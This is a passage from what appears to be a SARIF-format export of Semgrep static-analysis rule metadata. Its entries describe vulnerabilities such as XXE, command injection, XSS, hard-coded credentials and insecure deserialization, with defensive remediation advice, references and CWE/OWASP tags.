`$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"help":{"markdown":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0)\n","text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","id":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","name":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","id":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","name":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://www.youtube.com/watch?v=yYTkLUEdIyE](https://www.youtube.com/watch?v=yYTkLUEdIyE)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","id":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","name":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"help":{"markdown":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","id":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","name":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","properties":{"precision":"very-high","tags":["CWE-1323: Improper Management of Sensitive Trace Data","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response","id":"python.aws-lambda.security.tainted-html-response.tainted-html-response","name":"python.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Heroku API Key detected"},"help":{"markdown":"Heroku API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Heroku API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","id":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","name":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","id":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","name":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"help":{"markdown":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples](https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples)\n","text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express","id":"javascript.express.code.vm2-express.vm2-express","name":"javascript.express.code.vm2-express.vm2-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm2-express.vm2-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"help":{"markdown":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"helpUri":"https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","id":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","name":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service)\n - [https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html](https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html)\n - [https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/](https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/)\n","text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service","id":"yaml.docker-compose.security.privileged-service.privileged-service","name":"yaml.docker-compose.security.privileged-service.privileged-service","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.privileged-service.privileged-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","id":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","name":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","id":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","name":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-none.django-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign","id":"javascript.lang.security.insecure-object-assign.insecure-object-assign","name":"javascript.lang.security.insecure-object-assign.insecure-object-assign","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.insecure-object-assign.insecure-object-assign"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to 